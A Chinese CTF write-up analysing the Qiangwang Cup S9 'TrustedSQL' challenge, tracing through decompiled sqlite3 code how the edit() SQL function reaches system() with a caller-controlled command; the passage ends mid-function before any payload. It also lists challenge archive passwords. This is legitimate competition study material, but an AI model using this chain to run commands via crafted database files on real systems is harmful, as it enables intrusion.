文章总结： 这篇文档详细解析了强网杯S9线下赛中的RealWorldTrustSQL和AWDUPwn题目。对于TrustedSQL，作者通过逆向分析发现了SQLite中edit函数的漏洞链，最终构造恶意数据库文件实现命令执行。对于AWDUPwn，简要介绍了smile、NSnote等题目的解法，包括利用后门和堆溢出等漏洞。文档提供了详细的代码分析和调试过程，对CTF参赛者具有参考价值。
综合评分： 90
文章分类： CTF,Pwn,二进制安全,漏洞分析,渗透测试

强网杯S9 线下赛 RealWorld TrustSQL & AWDU Pwn 题解

原创

ziran & hellor

山警网络空间安全实验室

2025年11月25日 21:30
山东

#

谁懂晚上补wp，明天还要出6点早操的感觉。。。。

1、强网杯2025赛题 链接: https://pan.baidu.com/s/11tf5X-WLiHr7iaxw7P10zQ?pwd=v4jw 提取码: v4jw ，百度网盘中内容和U盘中内容相同。RW题目的压缩包密码：qwb2025_433db40863f4297994e976ae96c78344 ，AWDU-fox题目的压缩包密码qwb2025_0beada07e3af90ad163525043a08a425

2、monotint 题目在展示机中的cpu环境为intel 14gen ，且为降低利用难度，允许选手自行选择可证明自己完成任意代码执行的演示方式。WhatIf题目虚拟机密码为nguyen2002

TrustedSQL

题目要求

1） 恢复虚拟机快照到初始状态；

2） 检查虚拟机IP，并告知选手；

3） 协助选手调通网络，在虚拟机中从选手的HTTP服务器上，下载数据库文件malicious.db；

4） 执行/home/qwb/sqlite3 malicious.db加载选手的malicious.db；

5） 在sqlite3中依次执行PRAGMA trusted_schema = ON; select users from qwbDB;

6） 在规定时间内可以配合选手多次加载malicious.db并执行特定查询命令，也可以配合选手重启虚拟机；

7） 攻击成功或超时后：关闭虚拟机、回复虚拟机快照到初始状态。

吐槽一下

这里是题目的要求，看着比较复杂，其实的就是让其执行db文件的时候自动解析的时候执行我们想要的指令的就行，和webpwn的http的协议封装有一种差不多的感觉，构造post和get请求来选择不同的分支，调试的话也是差不多的

做这些题目，感觉对Ubuntu22及其以下版本的环境充满了恶意，幸亏是备用了一个Ubuntu24的，减去了起docker的麻烦的一步

白天的话做了一个smile和note，都非常复杂，但是漏洞点给出的都是高危漏洞，找到的话利用起来难度不是特别特别大，那个box的rust纯恶心的，通宵逆了一晚上都没逆完，感觉比起来那些程序简单，但是把条件限制的非常死，现实中不存在多此一举的限制那些实在多了

题目解析

我重命名函数的ida找不到了，直接用剔除函数名的看一下链子的分析

这个题目一开始是想去找CVE利用链的，结果看了看版本是2025年11月2号的好像，感觉没什么CVE，应该是出题特意设定了一段指令执行。然后又是db文件，我想了想我是出题人，我设计的话想要执行rop链，难度会不容易，假如说不限制db文件和查询指令的话，rop链的执行是有可能的

所以说直接看一下system，和做CSnote一个思路，note是从字符串追踪程序流的，我们这个的话从system追踪程序流

我们先大致确定链子调用流和需要满足的条件，具体的如何满足的先暂时放放，先确定思路的可行性

链末函数的分析

LABEL_13:
          command = (const char *)sub_A5610((unsigned int)"%s \"%s\"", env_1, (_DWORD)filename, v15, v16, v17);
          command_1 = command;
          if ( command )
          {
            v25 = system(command);
            p_sub_54D00(command_1);
            if ( v25 )
            {
              ptr_5 = 0;
              sub_7A970(a1, "EDITOR returned non-zero", 0xFFFFFFFFLL);
            }
            else

然后我们发现了后门函数，并且追踪到了这个片段，说明我们一开始的想法大致上是正确的

unsigned __int64 __fastcall sub_212A0(__int64 a1, int n2, _QWORD *a3)
{
char *env; // rax
int env_1; // r12d
  __int64 v7; // rax
int n4; // r14d
  FILE *s_1; // r13
int n_6; // eax
  __int64 n_7; // r15
constchar *haystack; // rdi
constvoid *ptr_4; // rax
size_t n_8; // rbx
int v15; // ecx
int v16; // r8d
int v17; // r9d
  _BYTE *ptr_5; // rbx
  FILE *s; // r13
size_t n_1; // r15
constvoid *ptr; // rax
size_t n_2; // rbx
constchar *command; // rax
constchar *command_1; // rbx
int v25; // r12d
  FILE *stream; // rax
  FILE *stream_1; // r13
signed __int64 n_3; // r12
  _BYTE *ptr_1; // rax
signed __int64 n_5; // r15
signed __int64 n_9; // rdx
signed __int64 n_4; // rax
char n10; // cl
  __int64 env_2; // rax
int v36; // edx
int v37; // ecx
int v38; // r8d
int v39; // r9d
  _BYTE *ptr_6; // rax
  _BYTE *ptr_3; // rsi
  _BYTE *ptr_2; // rsi
size_t n; // [rsp+0h] [rbp-68h]
size_t na; // [rsp+0h] [rbp-68h]
  _BOOL4 v45; // [rsp+Ch] [rbp-5Ch]
char *filename; // [rsp+18h] [rbp-50h] BYREF
  __int64 v47; // [rsp+20h] [rbp-48h] BYREF
unsigned __int64 v48; // [rsp+28h] [rbp-40h]

  v48 = __readfsqword(0x28u);
  filename = 0;
if ( n2 == 2 )
  {
    env_2 = sub_78E50(a3[1]);
    env_1 = env_2;
    if ( env_2 )
    {
LABEL_3:
      if ( (unsignedint)sub_4DD70(*a3) == 5 )
      {
        sub_7A970(a1, "NULL input to edit()", 0xFFFFFFFFLL);
        return v48 - __readfsqword(0x28u);
      }
      v7 = sub_4DDE0(a1);
      filename = 0;
      sub_69870(v7, 0, 16, &filename);
      if ( !filename )
      {
        v47 = 0;
        sub_ADB10(8, &v47);
        filename = (char *)sub_A5610((unsignedint)"temp%llx", v47, v36, v37, v38, v39);
        if ( !filename )
        {
          sub_6F350(a1);
          return v48 - __readfsqword(0x28u);
        }
      }
      n4 = sub_4DD70(*a3);
      if ( n4 == 4 )
      {
        s = fopen64(filename, "wb");
        if ( s )
        {
          n_1 = (int)sub_78CD0(*a3);
          ptr = (constvoid *)sub_79710(*a3);
          v45 = 0;
          n_2 = fwrite(ptr, 1u, n_1, s);
          fclose(s);
          if ( n_2 != n_1 )
          {
LABEL_10:
            ptr_5 = 0;
            sub_7A970(a1, "edit() could not write the whole file", 0xFFFFFFFFLL);
LABEL_39:
            unlink(filename);
            p_sub_54D00(filename);
            p_sub_54D00(ptr_5);
            return v48 - __readfsqword(0x28u);
          }
LABEL_13:
          command = (constchar *)sub_A5610((unsignedint)"%s \"%s\"", env_1, (_DWORD)filename, v15, v16, v17);
          command_1 = command;
          if ( command )
          {
            v25 = system(command);
            p_sub_54D00(command_1);
            if ( v25 )
            {
              ptr_5 = 0;
              sub_7A970(a1, "EDITOR returned non-zero", 0xFFFFFFFFLL);
            }
            else
            {
              stream = fopen64(filename, "rb");
              stream_1 = stream;
              if ( stream )
              {
                fseek(stream, 0, 2);
                n_3 = ftell(stream_1);
                rewind(stream_1);
                ptr_1 = (_BYTE *)sub_A36C0(n_3 + 1);
                ptr_5 = ptr_1;
                if ( ptr_1 )
                {
                  n_5 = n_3;
                  na = fread(ptr_1, 1u, n_3, stream_1);
                  fclose(stream_1);
                  if ( n_3 == na )
                  {
                    if ( n4 == 4 )
                    {
                      ptr_2 = ptr_5;
                      ptr_5 = 0;
                      sub_7C460(a1, ptr_2, n_3, p_sub_54D00);
                    }
                    else
                    {
                      if ( !v45 )
                      {
                        ptr_5[n_3] = 0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( n_3 <=&nbsp;0&nbsp;)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ptr_6 = ptr_5;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; n_5 =&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; n_9 =&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;( n_4 =&nbsp;0; n_4 < n_3; ++n_4 )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; n10 = ptr_5[n_4];
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( n10 ==&nbsp;13&nbsp;&& ptr_5[n_4 +&nbsp;1] ==&nbsp;10&nbsp;)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ++n_4;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; n10 =&nbsp;10;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ptr_5[n_9++] = n10;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; n_5 = n_9;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ptr_6 = &ptr_5[n_9];
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *ptr_6 =&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ptr_3 = ptr_5;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ptr_5 =&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_7CE00(a1, ptr_3, n_5, p_sub_54D00,&nbsp;1);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_7A970(a1,&nbsp;"could not read back the whole file",&nbsp;0xFFFFFFFFLL);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ptr_5 =&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_6F350(a1);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fclose(stream_1);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ptr_5 =&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_7A970(a1,&nbsp;"edit() cannot reopen temp file after edit",&nbsp;0xFFFFFFFFLL);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ptr_5 =&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_6F350(a1);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;goto&nbsp;LABEL_39;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp;&nbsp;else
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; s_1 = fopen64(filename,&nbsp;"w");
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( s_1 )
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; n_6 = sub_78CD0(*a3);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; n = n_6;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; n_7 = n_6;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; haystack = (constchar&nbsp;*)sub_78E50(*a3);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( haystack )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v45 =&nbsp;strstr(haystack,&nbsp;"\r\n") !=&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v45 =&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ptr_4 = (constvoid&nbsp;*)sub_78E50(*a3);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; n_8 = fwrite(ptr_4,&nbsp;1u, n, s_1);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fclose(s_1);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( n_8 != n_7 )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;goto&nbsp;LABEL_10;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;goto&nbsp;LABEL_13;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; ptr_5 =&nbsp;0;
&nbsp; &nbsp; &nbsp; sub_7A970(a1,&nbsp;"edit() cannot open temp file",&nbsp;0xFFFFFFFFLL);
&nbsp; &nbsp; &nbsp;&nbsp;goto&nbsp;LABEL_39;
&nbsp; &nbsp; }
&nbsp; }
else
&nbsp; {
&nbsp; &nbsp; env = getenv("VISUAL");
&nbsp; &nbsp; env_1 = (int)env;
&nbsp; &nbsp;&nbsp;if&nbsp;( env )
&nbsp; &nbsp; &nbsp;&nbsp;goto&nbsp;LABEL_3;
&nbsp; }
&nbsp; sub_7A970(a1,&nbsp;"no editor for edit()",&nbsp;0xFFFFFFFFLL);
return&nbsp;v48 - __readfsqword(0x28u);
}

这个函数的话是在sub_212A0这个位置上

我们想要走到system的话，需要满足这个条件

      if ( n4 == 4 )
      {
        s = fopen64(filename, "wb");
        if ( s )
        {
          n_1 = (int)sub_78CD0(*a3);
          ptr = (constvoid *)sub_79710(*a3);
          v45 = 0;
          n_2 = fwrite(ptr, 1u, n_1, s);
          fclose(s);
          if ( n_2 != n_1 )
          {
LABEL_10:
            ptr_5 = 0;
            sub_7A970(a1, "edit() could not write the whole file", 0xFFFFFFFFLL);
LABEL_39:
            unlink(filename);
            p_sub_54D00(filename);
            p_sub_54D00(ptr_5);
            return v48 - __readfsqword(0x28u);
          }
LABEL_13:
          command = (constchar *)sub_A5610((unsignedint)"%s \"%s\"", env_1, (_DWORD)filename, v15, v16, v17);
          command_1 = command;
          if ( command )
          {
            v25 = system(command);
            p_sub_54D00(command_1);
            if ( v25 )
            {
              ptr_5 = 0;
              sub_7A970(a1, "EDITOR returned non-zero", 0xFFFFFFFFLL);
            }
            else
            {
              stream = fopen64(filename, "rb");
              stream_1 = stream;

前面的话也需要满足

  if ( n2 == 2 )
  {
    env_2 = sub_78E50(a3[1]);
    env_1 = env_2;
    if ( env_2 )
    {
LABEL_3:
      if ( (unsignedint)sub_4DD70(*a3) == 5 )
      {
        sub_7A970(a1, "NULL input to edit()", 0xFFFFFFFFLL);
        return v48 - __readfsqword(0x28u);
      }
      v7 = sub_4DDE0(a1);
      filename = 0;
      sub_69870(v7, 0, 16, &filename);
      if ( !filename )
      {
        v47 = 0;
        sub_ADB10(8, &v47);
        filename = (char *)sub_A5610((unsignedint)"temp%llx", v47, v36, v37, v38, v39);
        if ( !filename )
        {
          sub_6F350(a1);
          return v48 - __readfsqword(0x28u);
        }
      }

不能提前退出，n2变量的条件也需要满足，n2是第二个参数

倒二链函数的分析

我们暂且将链末函数明明为vuln

          sub_99380(*a1, (unsigned int)"strtod", 1, 1, 0, (unsignedint)sub_21760, 0, 0);
          sub_99380(*a1, (unsignedint)"dtostr", 1, 1, 0, (unsignedint)sub_19CC0, 0, 0);
          sub_99380(*a1, (unsignedint)"dtostr", 2, 1, 0, (unsignedint)sub_19CC0, 0, 0);
          sub_99380(*a1, (unsignedint)"shell_add_schema", 3, 1, 0, (unsignedint)sub_2E0E0, 0, 0);
          sub_99380(*a1, (unsignedint)"shell_module_schema", 1, 1, (_DWORD)a1, (unsignedint)sub_2E020, 0, 0);
          sub_99380(*a1, (unsignedint)"shell_putsnl", 1, 1, (_DWORD)a1, (unsignedint)sub_1DE40, 0, 0);
          sub_99380(*a1, (unsignedint)"usleep", 1, 1, 0, (unsignedint)sub_20070, 0, 0);
          sub_99380(*a1, (unsignedint)"edit", 1, 1, 0, (unsignedint)vuln, 0, 0);
          sub_99380(*a1, (unsignedint)"edit", 2, 1, 0, (unsignedint)vuln, 0, 0);
          n4 = *((_BYTE *)a1 + 13);

我们通过追踪看懂啊，sub_99380这里是调用了vuln的函数

贴一下这个的整体函数

__int64 __fastcall sub_3E7B0(_QWORD *a1, _QWORD *a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6)
{
  __int64 v7; // rdi
  __int64 n6_1; // rdx
char v10; // bp
int n3; // ecx
constchar *v12; // r12
unsignedint v13; // eax
int n6_2; // eax
bool v15; // zf
  __int64 v16; // rcx
  __int64 v17; // rdi
int v18; // r8d
int v19; // r9d
constchar *v20; // rax
  __int64 v21; // rdx
  __int64 v22; // rcx
  __int64 v23; // r8
  __int64 v24; // r9
int v25; // ebp
int v26; // r8d
int v27; // r9d
int v28; // r8d
int v29; // r9d
  __int64 v30; // rbp
char n4; // al
int n6; // eax
  __int64 v33; // rbp
  __int64 v34; // rdx
int v35; // eax
  __int64 v36; // rax
  __int64 v37; // rbp
int n3_1; // eax
int v39; // [rsp-10h] [rbp-48h]
int v40; // [rsp-8h] [rbp-40h]
int v41; // [rsp+4h] [rbp-34h] BYREF
unsigned __int64 v42; // [rsp+8h] [rbp-30h]

  v7 = *a1;
  v42 = __readfsqword(0x28u);
if ( !v7 )
  {
    n6_1 = *((unsignedint *)a1 + 16);
    v10 = (char)a2;
    n3 = *((unsigned __int8 *)a1 + 13);
    v12 = *(constchar **)(a1[570] + 8LL);
    v13 = *((_DWORD *)a1 + 16);
    if ( !(_BYTE)n3 )
    {
      if ( !v12 || !*v12 )
      {
        *((_BYTE *)a1 + 13) = 1;
        if ( (n6_1 & 3) != 0 )
        {
LABEL_33:
          a2 = a1;
          sub_F8F10(v12, a1, v13, 0);
          goto LABEL_14;
        }
        n6 = 6;
        if ( (_DWORD)n6_1 )
          n6 = n6_1 | 2;
        *((_DWORD *)a1 + 16) = n6;
LABEL_32:
        v13 = *((_DWORD *)a1 + 16);
        goto LABEL_33;
      }
      a2 = (_QWORD *)(((unsignedint)a2 >> 1) & 1);
      n3_1 = sub_3E500(*(char **)(a1[570] + 8LL));
      n6_1 = *((unsignedint *)a1 + 16);
      *((_BYTE *)a1 + 13) = n3_1;
      n3 = n3_1;
    }
    if ( (n6_1 & 3) == 0 )
    {
      n6_2 = n6_1 | 2;
      v15 = (_DWORD)n6_1 == 0;
      n6_1 = 6;
      if ( v15 )
        n6_2 = 6;
      *((_DWORD *)a1 + 16) = n6_2;
    }
    if ( (_BYTE)n3 == 3 )
    {
      a2 = a1;
      sub_F8F00(":memory:", a1);
      goto LABEL_14;
    }
    if ( (unsigned __int8)n3 > 3u )
    {
      v16 = (unsignedint)(n3 - 4);
&nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( (unsigned&nbsp;__int8)v16 <=&nbsp;1u&nbsp;)
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; a2 = a1;
&nbsp; &nbsp; &nbsp; &nbsp; sub_F8F00(0, a1);
&nbsp; &nbsp; &nbsp; }
LABEL_14:
&nbsp; &nbsp; &nbsp; v17 = *a1;
&nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( *a1 )
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( !(unsignedint)sub_9CAA0(v17, a2, n6_1, v16, a5, a6) )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;goto&nbsp;LABEL_21;
&nbsp; &nbsp; &nbsp; &nbsp; v17 = *a1;
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; v20 = (constchar&nbsp;*)sub_9CD90(v17);
&nbsp; &nbsp; &nbsp; __fprintf_chk(stderr,&nbsp;2,&nbsp;"Error: unable to open database \"%s\": %s\n", v12, v20);
&nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( (v10 &&nbsp;1) !=&nbsp;0&nbsp;)
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; sub_D4D50(*a1);
&nbsp; &nbsp; &nbsp; &nbsp; sub_F8F00(":memory:", a1);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( *a1 && !(unsignedint)sub_9CAA0(*a1, a1, v21, v22, v23, v24) )
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; __fprintf_chk(stderr,&nbsp;2,&nbsp;"Notice: using substitute in-memory database instead of \"%s\"\n", v12);
LABEL_21:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; qword_197BD0 = *a1;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_595D0(qword_197BD0,&nbsp;1018,&nbsp;0,&nbsp;0, v18, v19);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v25 = *((_DWORD *)a1 +&nbsp;35) &&nbsp;0x400;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_595D0(*a1,&nbsp;1017, v25 !=&nbsp;0,&nbsp;0, v26, v27);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_595D0(*a1,&nbsp;1010, v25 ==&nbsp;0,&nbsp;0, v28, v29);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_A2570(*a1,&nbsp;1);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_364D0(*a1,&nbsp;0,&nbsp;0);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_36390(*a1,&nbsp;0,&nbsp;0);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_998D0(*a1,&nbsp;"uint",&nbsp;1,&nbsp;0, sub_18830);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_39730(*a1,&nbsp;0,&nbsp;0);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_36590(*a1,&nbsp;0,&nbsp;0);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_99380(*a1, (unsignedint)"base64",&nbsp;1,&nbsp;2623489,&nbsp;0, (unsignedint)sub_1A060,&nbsp;0,&nbsp;0);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_99380(*a1, (unsignedint)"base85",&nbsp;1,&nbsp;2623489,&nbsp;0, (unsignedint)sub_26E20,&nbsp;0,&nbsp;0);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_367A0(*a1,&nbsp;0,&nbsp;0);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_366F0(*a1,&nbsp;0,&nbsp;0);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v30 = *a1;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_4F5B0();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_74E80(v30,&nbsp;"generate_series", &unk_193640,&nbsp;0);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_36810(*a1,&nbsp;0,&nbsp;0);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_74E80(*a1,&nbsp;"completion", &unk_193560,&nbsp;0);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( !*((_BYTE *)a1 +&nbsp;18) )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v33 = *a1;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( !(unsignedint)sub_74E80(*a1,&nbsp;"zipfile", &unk_193240,&nbsp;0)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; && !(unsignedint)sub_AB690(v33,&nbsp;"zipfile_cds",&nbsp;0xFFFFFFFFLL) )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_99380(v33, (unsignedint)"zipfile",&nbsp;-1,&nbsp;1,&nbsp;0,&nbsp;0, (__int64)sub_2E980, (__int64)sub_24C50);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_369F0(*a1,&nbsp;0,&nbsp;0);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_99380(*a1, (unsignedint)"strtod",&nbsp;1,&nbsp;1,&nbsp;0, (unsignedint)sub_21760,&nbsp;0,&nbsp;0);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_99380(*a1, (unsignedint)"dtostr",&nbsp;1,&nbsp;1,&nbsp;0, (unsignedint)sub_19CC0,&nbsp;0,&nbsp;0);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_99380(*a1, (unsignedint)"dtostr",&nbsp;2,&nbsp;1,&nbsp;0, (unsignedint)sub_19CC0,&nbsp;0,&nbsp;0);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_99380(*a1, (unsignedint)"shell_add_schema",&nbsp;3,&nbsp;1,&nbsp;0, (unsignedint)sub_2E0E0,&nbsp;0,&nbsp;0);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_99380(*a1, (unsignedint)"shell_module_schema",&nbsp;1,&nbsp;1, (_DWORD)a1, (unsignedint)sub_2E020,&nbsp;0,&nbsp;0);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_99380(*a1, (unsignedint)"shell_putsnl",&nbsp;1,&nbsp;1, (_DWORD)a1, (unsignedint)sub_1DE40,&nbsp;0,&nbsp;0);
